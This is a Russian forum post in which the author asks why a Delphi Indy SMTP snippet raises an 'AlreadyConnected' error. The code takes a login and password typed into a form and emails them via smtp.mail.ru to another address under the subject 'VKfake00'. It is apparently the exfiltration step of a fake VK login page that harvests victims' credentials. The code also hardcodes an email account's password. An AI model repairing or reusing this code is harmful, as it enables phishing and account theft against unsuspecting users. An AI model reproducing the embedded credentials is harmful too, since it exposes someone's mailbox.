Ошибка в отправки письма на почту. Delphi

Ребята прошу помогите мне с программным кодом. У меня пишет ошибку что-то типо AlreadyConnected.

idSmtp1.Host:='smtp.mail.ru';

idSmtp1.Port:=465;

idSmtp1.Username:='krekhov00@mail.ru';

idSmtp1.Password:='ram228323';

idMessage1.Body.Text:='Ëîãèí/'+Edit1.text+'Ïàðîëü/'+Edit2.Text;

idMessage1.From.Text:='krekhov00@mail.ru';

idMessage1.Recipients.EMailAddresses:='mister_q00@mail.ru';

idMessage1.Subject:='VKfake00';

IdMessage1.CharSet:='koi8-r';

idSmtp1.Connect();

if idSmtp1.Connected=true then

idSmtp1.Send(idMessage1)

else

idSmtp1.Disconnect;